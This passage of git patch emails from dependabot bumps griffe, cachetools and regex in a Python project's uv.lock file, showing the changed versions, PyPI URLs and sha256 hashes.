"https://files.pythonhosted.org/packages/e6/07/b83046a4e3cadcc0987d0f160696107c4af706a619b56e4ad01940cadadf/orjson-3.12.0-cp313-cp313-win_arm64.whl", hash = "sha256:6a31348d7dfa64cd9c78bd1f510ff44c48fe64d71094e6b90e364dba3b55949e", size = 126765, upload-time = "2026-08-14T16:12:57.806Z" }, + { url = "https://files.pythonhosted.org/packages/12/9d/3931253e6f3148abf2cbe14830367042a4806b362ea520df2303db188fb9/orjson-3.12.0-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9e6fee342a48760e854d743e7a81534d8e2925a6f46e09f750cf56b50fd1de5d", size = 223391, upload-time = "2026-08-14T16:12:59.184Z" }, + { url = "https://files.pythonhosted.org/packages/8a/0e/b4a4f1e305367245877b967a0bad70fcf001d77c54ac4339a120b66fdae4/orjson-3.12.0-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:8c3bb86dd10f39b3fbf434b7d5dc7cac77d6fc8ac572ae30a10731ede2c4b647", size = 123659, upload-time = "2026-08-14T16:13:00.548Z" }, + { url = "https://files.pythonhosted.org/packages/96/f3/6782c6fa85e2702bc66be183c3b421486167dcf266ee4dc1403fe3824870/orjson-3.12.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:2bb3ce43203936072dd8b4917b01d3aecfc02329bfb42510cb7cfb24708adc9c", size = 113337, upload-time = "2026-08-14T16:13:02.009Z" }, + { url = "https://files.pythonhosted.org/packages/bf/79/b32ab64bacda9d0fa4942ef483bd03cabf0eaf2be819ca9fb7ff610c559d/orjson-3.12.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:6a2a79c89984dc719817d388c8709e0efc2a2795a934eaa746b4882eb6045adc", size = 130112, upload-time = "2026-08-14T16:13:03.404Z" }, + { url = "https://files.pythonhosted.org/packages/ee/49/6e6142999ca01509219be5e5a9c338a3e5ea011f63e91ff473fbbf3734ed/orjson-3.12.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f06dd838d1e07d9b1de0932ec0485ec92c4d5f5d1ad4817a656268c3e88be1e1", size = 130520, upload-time = "2026-08-14T16:13:04.798Z" }, + { url = "https://files.pythonhosted.org/packages/49/d0/3745af0a4cc9867784f29722929cec4d10bd1c877cd754b01ba6d96eb21a/orjson-3.12.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6b11be792c3d2c6a4be2af4ebf97a68d0bf5f580aca6e86a418a354f6cc846a", size = 131053, upload-time = "2026-08-14T16:13:06.14Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f4/6fe5a22fa478fffb190e65c338c84df5c311ef597b363150a17cc57063c0/orjson-3.12.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:477ecaf6b9f88f873341b91fcc736119ca81b5e002a9f7f308ff5b4f2ce2a70e", size = 135321, upload-time = "2026-08-14T16:13:07.544Z" }, + { url = "https://files.pythonhosted.org/packages/ff/41/b1b0ec30289646a81a76e2dbaae2686b96fcccb7cb0323dc1dd78cbc7875/orjson-3.12.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f3c0683136acdc29afdf88a5bc2f7d3d0e34087788d1d63c0144b805a87a196f", size = 127485, upload-time = "2026-08-14T16:13:08.88Z" }, + { url = "https://files.pythonhosted.org/packages/bf/2b/277404bdcc21c93b112b963655b76443ebfe828f8a3ff1de7d90f8850eb3/orjson-3.12.0-cp314-cp314-win32.whl", hash = "sha256:d39f3f5c3927e2dc0913fe5bbc1a2f6b1b9d1bba1de6358340d0ad0d0c00ca92", size = 128048, upload-time = "2026-08-14T16:13:10.305Z" }, + { url = "https://files.pythonhosted.org/packages/41/2b/395b36fa2b4ce7af70b651d715e88f80d884b2c2b14a6b53e84d554fb5f0/orjson-3.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:0b1ac5bf6609b2716c7954011c5fef6254922df029f45d032ee4ebf5d363cbed", size = 121858, upload-time = "2026-08-14T16:13:11.634Z" }, + { url = "https://files.pythonhosted.org/packages/ea/a3/833e895ff452859eebe75093d26691fe9108f1a7a6a08435d7a5780ea652/orjson-3.12.0-cp314-cp314-win_arm64.whl", hash = "sha256:50fae885cb073eac7556353ff3df93312b0d5137b0a5056b2bb63f97ed9a93c7", size = 126749, upload-time = "2026-08-14T16:13:13.117Z" }, ] [[package]] From dcd7a7a98a94ef73c1b7a90f75f183208fcba434 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 3 Sep 2026 11:18:04 -0400 Subject: [PATCH 074/256] Bump griffe from 2.1.0 to 2.2.0 (#3394) Bumps [griffe](https://github.com/mkdocstrings/griffe) from 2.1.0 to 2.2.0. - [Release notes](https://github.com/mkdocstrings/griffe/releases) - [Changelog](https://github.com/mkdocstrings/griffe/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/griffe/compare/2.1.0...2.2.0) --- updated-dependencies: - dependency-name: griffe dependency-version: 2.2.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/uv.lock b/uv.lock index a8e41c193f..7095f3ed05 100644 --- a/uv.lock +++ b/uv.lock @@ -1199,37 +1199,37 @@ wheels = [ [[package]] name = "griffe" -version = "2.1.0" +version = "2.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "griffecli" }, { name = "griffelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/00/44/63913c007814cab5ba9d36f25ad40dfc640c2e2931d195bd2d05f774a5d6/griffe-2.1.0.tar.gz", hash = "sha256:c58845df5a364feaabd05ee8c767b97b03e478da8aa18b9923553c812fb0d955", size = 244879, upload-time = "2026-06-19T12:05:41.262Z" } +sdist = { url = "https://files.pythonhosted.org/packages/df/a0/927cf9416f527f623f4ccd9220337fca0cd85303b7e82adeab1e53669cd3/griffe-2.2.0.tar.gz", hash = "sha256:9c0dd9a7feda9e169d783507d777c6fb2f2fc2919b139747a5b4f5357517a611", size = 246229, upload-time = "2026-08-16T14:04:57.232Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6b/fb/3c65d392feae6c36dc2b55a14dd8270b7b35a3171c93b71a4d2ee4abf241/griffe-2.1.0-py3-none-any.whl", hash = "sha256:2ccdab17fb9cd76f278d7b5611cfc8f68cbe846d8d48df63dff80b62ecfa6f65", size = 5140, upload-time = "2026-06-19T12:05:39.913Z" }, + { url = "https://files.pythonhosted.org/packages/8d/51/c9f9cb144e2bd21cbcb6ebd7978ecb5b9f5a375e78313744158338c8039c/griffe-2.2.0-py3-none-any.whl", hash = "sha256:db20672b31c3de2a1af5a18a3b3d8c186ccc2425e10290486b4f0364d25929e9", size = 5070, upload-time = "2026-08-16T14:04:51.971Z" }, ] [[package]] name = "griffecli" -version = "2.1.0" +version = "2.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama" }, { name = "griffelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8e/c6/90f85d47af96300d629b38c25b71aad9467a620cac964a39280e822efc8a/griffecli-2.1.0.tar.gz", hash = "sha256:2ff68dbee9395fdb668b10374c51683392d697b226ac60159798f4add1ee716c", size = 56913, upload-time = "2026-06-19T12:05:43.119Z" } +sdist = { url = "https://files.pythonhosted.org/packages/de/75/3cf2fb1ae21fb55a3b917b45d24426a620ee916f4bdbd03f350c69d3d892/griffecli-2.2.0.tar.gz", hash = "sha256:b9e763131218eb19887ed52de20fe944252d811bfb4a3e339874908a588f0044", size = 58066, upload-time = "2026-08-16T14:04:55.984Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/80/2f/513232ec1d5f5da182e4ce45a11427e37dd210844a9e2bca451fc9661fb3/griffecli-2.1.0-py3-none-any.whl", hash = "sha256:6e22b1423d562ddc510997b4be1fe89de59e19dcff78831c0f4bfc3b8134a718", size = 9500, upload-time = "2026-06-19T12:05:37.517Z" }, + { url = "https://files.pythonhosted.org/packages/1f/83/04652213d82afeecc8e8a31231eeb87cc484dcc055fd96ecb0bfd9860405/griffecli-2.2.0-py3-none-any.whl", hash = "sha256:8ebb7ae1dcc2617f5d39f00e4c238dd6b5cd0b13157b0ce22c1ea4ca8b4c5d1d", size = 11480, upload-time = "2026-08-16T14:04:53.14Z" }, ] [[package]] name = "griffelib" -version = "2.1.0" +version = "2.2.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/33/e4/8d187ea29c2e30b3a09505c567513077d6117861bde1fbd997a167f262ec/griffelib-2.1.0.tar.gz", hash = "sha256:762a186d2c6fd6794d4ea20d428d597ffb857cb56b66421651cbba15bdd5e813", size = 216234, upload-time = "2026-06-19T12:05:42.278Z" } +sdist = { url = "https://files.pythonhosted.org/packages/f0/b4/a767e91c606deefc447a96eaf59edd77397960b1d677dffd833ee8449831/griffelib-2.2.0.tar.gz", hash = "sha256:e1bc36fe9cd21d4b6b659b456346755e4cfdc5676c0a5214083126ee12612b3c", size = 227048, upload-time = "2026-08-16T14:04:58.383Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e4/d3/5268aeabf2ad82658c4e2ff3a060648d0f02f3926cb53247c0e4d0dab49e/griffelib-2.1.0-py3-none-any.whl", hash = "sha256:cc7b3d2d2865ad0b909fcc38086e3f554b5ea7acbaa7bbb7ecaa3f5dfb7d9f00", size = 142560, upload-time = "2026-06-19T12:05:38.742Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b6/f65ac785d4ac90dcf7c831ac6256f5dd4a19780f4e1575b2c0d6eeebe319/griffelib-2.2.0-py3-none-any.whl", hash = "sha256:d71c3bc2bbed9f958488634fe788b843a9f705d6d2838ca32cd6c25eeb64dfc4", size = 166779, upload-time = "2026-08-16T14:04:54.365Z" }, ] [[package]] From f9bdcb36bfe458ef1742d2711f801a2e846b50af Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 15 Sep 2026 15:30:58 -0400 Subject: [PATCH 075/256] Bump griffe from 2.2.0 to 2.3.0 (#3434) Bumps [griffe](https://github.com/mkdocstrings/griffe) from 2.2.0 to 2.3.0. - [Release notes](https://github.com/mkdocstrings/griffe/releases) - [Changelog](https://github.com/mkdocstrings/griffe/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/griffe/compare/2.2.0...2.3.0) --- updated-dependencies: - dependency-name: griffe dependency-version: 2.3.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/uv.lock b/uv.lock index 7095f3ed05..21d393d609 100644 --- a/uv.lock +++ b/uv.lock @@ -1199,37 +1199,37 @@ wheels = [ [[package]] name = "griffe" -version = "2.2.0" +version = "2.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "griffecli" }, { name = "griffelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/df/a0/927cf9416f527f623f4ccd9220337fca0cd85303b7e82adeab1e53669cd3/griffe-2.2.0.tar.gz", hash = "sha256:9c0dd9a7feda9e169d783507d777c6fb2f2fc2919b139747a5b4f5357517a611", size = 246229, upload-time = "2026-08-16T14:04:57.232Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d5/03/75ca4d08a7eff164292d42cf72c7c510423b3414e66205f0ba5b35ad3034/griffe-2.3.0.tar.gz", hash = "sha256:aa5634c0d7802583ecd29a7fe335c02d462ffdf5ce8f51426a3d326f374e6d93", size = 247493, upload-time = "2026-09-04T15:08:15.364Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8d/51/c9f9cb144e2bd21cbcb6ebd7978ecb5b9f5a375e78313744158338c8039c/griffe-2.2.0-py3-none-any.whl", hash = "sha256:db20672b31c3de2a1af5a18a3b3d8c186ccc2425e10290486b4f0364d25929e9", size = 5070, upload-time = "2026-08-16T14:04:51.971Z" }, + { url = "https://files.pythonhosted.org/packages/61/f9/8bfacdb992aed404a3a53694689759841635bce93b86ddb621c1d7f2558c/griffe-2.3.0-py3-none-any.whl", hash = "sha256:92a41ff72eb1eb316cdcb7248a608f1313f9fbc6e35d5cffa5cf7c813b7db70b", size = 5072, upload-time = "2026-09-04T15:08:14.074Z" }, ] [[package]] name = "griffecli" -version = "2.2.0" +version = "2.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama" }, { name = "griffelib" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/de/75/3cf2fb1ae21fb55a3b917b45d24426a620ee916f4bdbd03f350c69d3d892/griffecli-2.2.0.tar.gz", hash = "sha256:b9e763131218eb19887ed52de20fe944252d811bfb4a3e339874908a588f0044", size = 58066, upload-time = "2026-08-16T14:04:55.984Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5c/15/f70539f7efb44f27d209b43e386b1a5397bd476879ff19a206b75454f58e/griffecli-2.3.0.tar.gz", hash = "sha256:916fdc851cf51d38e9b5ab82550305df45e5981d5dfe65d346544464abedb3ec", size = 59676, upload-time = "2026-09-04T15:08:16.426Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1f/83/04652213d82afeecc8e8a31231eeb87cc484dcc055fd96ecb0bfd9860405/griffecli-2.2.0-py3-none-any.whl", hash = "sha256:8ebb7ae1dcc2617f5d39f00e4c238dd6b5cd0b13157b0ce22c1ea4ca8b4c5d1d", size = 11480, upload-time = "2026-08-16T14:04:53.14Z" }, + { url = "https://files.pythonhosted.org/packages/06/8c/8ffa4272d6bf85a0abe8898ef74ef41d505317bb4103e14a11d45d799dce/griffecli-2.3.0-py3-none-any.whl", hash = "sha256:f94653edcb52ebcac21eaeb3b7121b065a636174eddf2bd558b5935e72a553e8", size = 11593, upload-time = "2026-09-04T15:08:11.739Z" }, ] [[package]] name = "griffelib" -version = "2.2.0" +version = "2.3.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f0/b4/a767e91c606deefc447a96eaf59edd77397960b1d677dffd833ee8449831/griffelib-2.2.0.tar.gz", hash = "sha256:e1bc36fe9cd21d4b6b659b456346755e4cfdc5676c0a5214083126ee12612b3c", size = 227048, upload-time = "2026-08-16T14:04:58.383Z" } +sdist = { url = "https://files.pythonhosted.org/packages/27/af/018c10bc9edd42b6ef6db2e96b09542050d5253f9b195e74bc910b2d13ab/griffelib-2.3.0.tar.gz", hash = "sha256:7b0952caf5bca6afa4bb5ee8c6a2d183fe3f21b62efc5f6c7243cb2b26d2d115", size = 234534, upload-time = "2026-09-04T15:08:17.472Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/f6/b6/f65ac785d4ac90dcf7c831ac6256f5dd4a19780f4e1575b2c0d6eeebe319/griffelib-2.2.0-py3-none-any.whl", hash = "sha256:d71c3bc2bbed9f958488634fe788b843a9f705d6d2838ca32cd6c25eeb64dfc4", size = 166779, upload-time = "2026-08-16T14:04:54.365Z" }, + { url = "https://files.pythonhosted.org/packages/41/63/e876e789525063c840ccfa8857febdabd6523bcef9ce7eb979b9305ea895/griffelib-2.3.0-py3-none-any.whl", hash = "sha256:1b8f9cd525681c26b1d6d574faa1371651e8459ca51d209684f50b8096ae06e0", size = 169423, upload-time = "2026-09-04T15:08:12.956Z" }, ] [[package]] From cb2cf28f672c571b92777fd39c2d5532523c60ad Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 15 Sep 2026 15:49:04 -0400 Subject: [PATCH 076/256] Bump cachetools from 7.1.7 to 7.1.8 (#3425) Bumps [cachetools](https://github.com/tkem/cachetools) from 7.1.7 to 7.1.8. - [Changelog](https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst) - [Commits](https://github.com/tkem/cachetools/compare/v7.1.7...v7.1.8) --- updated-dependencies: - dependency-name: cachetools dependency-version: 7.1.8 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 21d393d609..59326ffacb 100644 --- a/uv.lock +++ b/uv.lock @@ -627,11 +627,11 @@ wheels = [ [[package]] name = "cachetools" -version = "7.1.7" +version = "7.1.8" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/70/d2/47e8bc06fe2a06d3f5bdf20f1126ab66c4e99dc48d940e7ba873f7ac7131/cachetools-7.1.7.tar.gz", hash = "sha256:a3e2a00b14d8f8a6b70c1dae7b4685e7ad3bc965c5b42124a2d6ce895da6cf50", size = 40680, upload-time = "2026-08-01T21:20:40.434Z" } +sdist = { url = "https://files.pythonhosted.org/packages/4b/39/9a4689914dd907915cee74733b95888fc1d8a21aad47a24a0a2deec73ac4/cachetools-7.1.8.tar.gz", hash = "sha256:1221d547a0b24b7f26fa891d40d488b5258beab9aebd8ed68c729be3af849c43", size = 40909, upload-time = "2026-08-31T19:02:53.985Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e4/d8/767faeda872075724b95dd675466a645f1b92aadcdcf2d1429dcfd76c176/cachetools-7.1.7-py3-none-any.whl", hash = "sha256:ef98ef375ad188819ef2f9b3645e3987f4b8c5b7550e436ad998c2de78296df0", size = 16830, upload-time = "2026-08-01T21:20:38.977Z" }, + { url = "https://files.pythonhosted.org/packages/d7/3d/9487690d0e937854db587205c66bab3c3cf88d9f00ed380b74cb88cc94ee/cachetools-7.1.8-py3-none-any.whl", hash = "sha256:a81e3844acaa7355b6567f97bd67a94a14ec3a9bc2cbbdae45b9592cc036775b", size = 16842, upload-time = "2026-08-31T19:02:52.554Z" }, ] [[package]] From 358f3404c66dcd60483ff7a66f9677bac3714659 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 15 Sep 2026 15:57:49 -0400 Subject: [PATCH 077/256] Bump regex from 2026.7.19 to 2026.9.10 (#3435) Bumps [regex](https://github.com/mrabarnett/mrab-regex) from 2026.7.19 to 2026.9.10. - [Changelog](https://github.com/mrabarnett/mrab-regex/blob/hg/changelog.txt) - [Commits](https://github.com/mrabarnett/mrab-regex/compare/2026.7.19...2026.9.10) --- updated-dependencies: - dependency-name: regex dependency-version: 2026.9.10 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 218 ++++++++++++++++++++++++++------------------------------ 1 file changed, 101 insertions(+), 117 deletions(-) diff --git a/uv.lock b/uv.lock index 59326ffacb..2c3bf08c51 100644 --- a/uv.lock +++ b/uv.lock @@ -2734,123 +2734,107 @@ wheels = [ [[package]] name = "regex" -version = "2026.7.19" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/20/98/04b13f1ddfb63158025291c02e03eb42fbb7acb51d091d541050eb4e35e8/regex-2026.7.19.tar.gz", hash = "sha256:7e77b324909c1617cbb4c668677e2c6ae13f44d7c1de0d4f15f2e3c10f3315b5", size = 416440, upload-time = "2026-07-19T00:19:48.923Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/24/13/bbf7d9d1887fe4a3693527c6caa232c197ea9da91f1212e9672eff60329d/regex-2026.7.19-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:555497390743af1a65045fa4527782d10ff5b88970359412baa4a1e628fe393b", size = 494009, upload-time = "2026-07-19T00:16:13.602Z" }, - { url = "https://files.pythonhosted.org/packages/a3/19/783688e75a2bec15d50aec0d5e7e317d363808bc82a6eb6750b897bfcd7b/regex-2026.7.19-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:343a4504e3fb688c47cad451221ca5d4814f42b1e16c0065bde9cbf7f473bd52", size = 295287, upload-time = "2026-07-19T00:16:15.702Z" }, - { url = "https://files.pythonhosted.org/packages/16/01/cefe4f051302ca298d3f3e79ed6dbd933ac84485b9515acdd6a52d70cef7/regex-2026.7.19-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ebee1ee89c39c953baac6924fcde08c5bb427c4057510862f9d7c7bdb3d8665", size = 290633, upload-time = "2026-07-19T00:16:17.182Z" }, - { url = "https://files.pythonhosted.org/packages/ae/1e/1045ca2cabb12e8ec41ad0d138e9f3ff1eb079d30a6f51ccf7d709b44aad/regex-2026.7.19-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:062f8cb7a9739c4835d22bd96f370c59aba89f257adcfa53be3cc209e08d3ae0", size = 785300, upload-time = "2026-07-19T00:16:18.505Z" }, - { url = "https://files.pythonhosted.org/packages/d5/4a/20e5bca184e90bf1bd187efdb53363f4a7b7b34f01d54ced5740caf104bd/regex-2026.7.19-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1123ef4211d763ee771d47916a1596e2f4915794f7aabdc1adcb20e4249a6951", size = 854079, upload-time = "2026-07-19T00:16:19.909Z" }, - { url = "https://files.pythonhosted.org/packages/09/9b/5a2e59678be3b24aa6a42b2c6d66a48daa212593e9f4096fe7ba577fa9b1/regex-2026.7.19-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6e44c0e7c5664be20aee92085153150c0a7967310a73a43c0f832b7cd35d0dd3", size = 899496, upload-time = "2026-07-19T00:16:21.453Z" }, - { url = "https://files.pythonhosted.org/packages/48/9a/7317f14ed8ed9fd998d1978b4802b07bc4d79216353c435dbcc1ddd1301f/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98c6ac18480fcdb33f35439183f1d2e79760ab41930309c6d951cb1f8e46694c", size = 793541, upload-time = "2026-07-19T00:16:22.991Z" }, - { url = "https://files.pythonhosted.org/packages/6f/53/833c2db3e274d3c191f4c42fe5bfa358e4c8b617d5d7312d31334965fc46/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4458124d71339f505bf1fb94f69fd1bb8fa9d2481eebfef27c10ef4f2b9e12f6", size = 785515, upload-time = "2026-07-19T00:16:24.654Z" }, - { url = "https://files.pythonhosted.org/packages/8d/b9/efb2f9fa151d71db09d4015e1fb92fee47416f01c12164836bbd23e2f3c2/regex-2026.7.19-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbf300e2070bb35038660b3be1be4b91b0024edb41517e6996320b49b92b4175", size = 769556, upload-time = "2026-07-19T00:16:26.207Z" }, - { url = "https://files.pythonhosted.org/packages/81/4d/45610c263f8eadb84e4a1fabd904d81d5176226faa9104ef498bf8a8b285/regex-2026.7.19-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b2b506b1788df5fecd270a10d5e70a95fe77b87ea2b370a318043f6f5f817ee6", size = 774130, upload-time = "2026-07-19T00:16:27.786Z" }, - { url = "https://files.pythonhosted.org/packages/40/95/1b40d87c7a9e5480bec7a87bce9fd67fc3f14b5f106c8ee66d660249072f/regex-2026.7.19-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:52579c60a6078be70a0e49c81d6e56d677f34cd439af281a0083b8c7bc75c095", size = 848694, upload-time = "2026-07-19T00:16:29.412Z" }, - { url = "https://files.pythonhosted.org/packages/17/8b/bb45968addd5b394ef9cd9184bd9c65ade1a819dbb2b92b71ad52a0c7907/regex-2026.7.19-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:2955907b7157a6660f27079edf7e0229e9c9c5325c77a2ef6a890cba91efa6f0", size = 758505, upload-time = "2026-07-19T00:16:31.006Z" }, - { url = "https://files.pythonhosted.org/packages/bf/6f/33386c672fbf43e21602135a0f29a97ee251a483f007fe51d10e9b2dbc93/regex-2026.7.19-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:89dfee3319f5ae3f75ebd5c2445a809bb320252ba5529ffdafea4ef25d79cf1a", size = 836985, upload-time = "2026-07-19T00:16:32.459Z" }, - { url = "https://files.pythonhosted.org/packages/22/f1/9112b86e9bb075619862e8e42b604794389f1958faa68fb69bde505dd90e/regex-2026.7.19-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d3143f159261b1ce5b24c261c590e5913370c3200c5e9ebbb92b5aa5e111902", size = 782610, upload-time = "2026-07-19T00:16:33.857Z" }, - { url = "https://files.pythonhosted.org/packages/3a/f9/13d460d8a385ca0b0be9e6be80a90968b9293b3e30895543ad2d1d1653e4/regex-2026.7.19-cp310-cp310-win32.whl", hash = "sha256:64729333167c2dcaaa56a331d40ee097bd9c5617ffd51dabb09eaddafb1b532e", size = 266772, upload-time = "2026-07-19T00:16:35.194Z" }, - { url = "https://files.pythonhosted.org/packages/9f/90/29addd7a03e1aea402c1f31467e25c80caabc8c3735b88a23cf73b0aa9c2/regex-2026.7.19-cp310-cp310-win_amd64.whl", hash = "sha256:1c398716054621aa300b3d411f467dda903806c5da0df6945ab73982b8d115db", size = 277967, upload-time = "2026-07-19T00:16:36.847Z" }, - { url = "https://files.pythonhosted.org/packages/8c/ba/ecfce06fe66c122bc6f77ae284887a9282e4411fe1e6268c5266611ca054/regex-2026.7.19-cp310-cp310-win_arm64.whl", hash = "sha256:064f1760a5a4ade65c5419be23e782f29147528e8a66e0c42dd4cedb8d4e9fc6", size = 276963, upload-time = "2026-07-19T00:16:38.315Z" }, - { url = "https://files.pythonhosted.org/packages/05/e5/cef4de2bac939280b68d32adc659478845238a8274f2f79c465063f590ad/regex-2026.7.19-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ac777001cdfc28b72477d93c8564bb7583081ea8fb45cdca3d568e0a4f87183c", size = 494012, upload-time = "2026-07-19T00:16:39.927Z" }, - { url = "https://files.pythonhosted.org/packages/ff/87/e86f51eb117457bb7803132ffe5cb6e2841e2b5bea4cc85d397f3c6e257d/regex-2026.7.19-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:59787bd5f8c70aa339084e961d2996b53fbdeab4d5393bba5c1fe1fc32e02bae", size = 295281, upload-time = "2026-07-19T00:16:41.433Z" }, - { url = "https://files.pythonhosted.org/packages/41/2e/2360c41d8080a3d9ec7e5c90fad6eab3b50192869d10e9a5609e48c8177b/regex-2026.7.19-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:90c633e7e8d6bf4e992b8b36ce69e018f834b641dd6de8cea6d78c06ffa119c5", size = 290615, upload-time = "2026-07-19T00:16:43.058Z" }, - { url = "https://files.pythonhosted.org/packages/cf/69/b65ba4344efbc771b28fe5dde84cbbb6c8f9551165952fe78def5b9dde6a/regex-2026.7.19-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:87ccab0db8d5f4fbb0272642113c1adb2ffc698c16d3a0944580222331fa7a20", size = 791804, upload-time = "2026-07-19T00:16:44.662Z" }, - { url = "https://files.pythonhosted.org/packages/81/b6/a40dfa0dc6224b36f620c00296eacc830489cbf8c2837b6750dfe6170375/regex-2026.7.19-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e50d748a32da622f256e8d505867f5d3c43a837c6a9f0efb149655fadd1042a", size = 861723, upload-time = "2026-07-19T00:16:46.412Z" }, - { url = "https://files.pythonhosted.org/packages/e3/02/735991dee71abd83196a7962f7ed8bf5aa05720ff06e2d3ff896a85e2bbb/regex-2026.7.19-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bf1516fe58fc104f39b2d1dbe2d5e27d0cd45c4be2e42ba6ee0cc763701ec3c7", size = 905932, upload-time = "2026-07-19T00:16:47.956Z" }, - { url = "https://files.pythonhosted.org/packages/45/6c/e7098d8b846ccdbf431d8c081b61e496526a27a28094ed09e0dce21b3f54/regex-2026.7.19-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:09f3e5287f94f17b709dc9a9e70865855feee835c861613be144218ce4ca82cc", size = 801407, upload-time = "2026-07-19T00:16:49.43Z" }, - { url = "https://files.pythonhosted.org/packages/8a/18/34b69274e2649bcc7d9b089c2b2983fb2632d8ecf667e359593be9072e79/regex-2026.7.19-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6383cd2ed53a646c659ba1fe65727db76437fdaa069e697a0b44a51d5843d864", size = 774448, upload-time = "2026-07-19T00:16:51.352Z" }, - { url = "https://files.pythonhosted.org/packages/bb/e6/0a72247d025585fd3800b98e040b84d562a88af6303347100484849f4f01/regex-2026.7.19-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:09d3007fc76249a83cdd33de160d50e6cb77f54e09d8fa9e7148e10607ce24af", size = 783297, upload-time = "2026-07-19T00:16:53.071Z" }, - { url = "https://files.pythonhosted.org/packages/b1/aa/c4f65ae7dd02a36b323a70c4cff326e1f3442361aaebc9311100a130d54f/regex-2026.7.19-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = 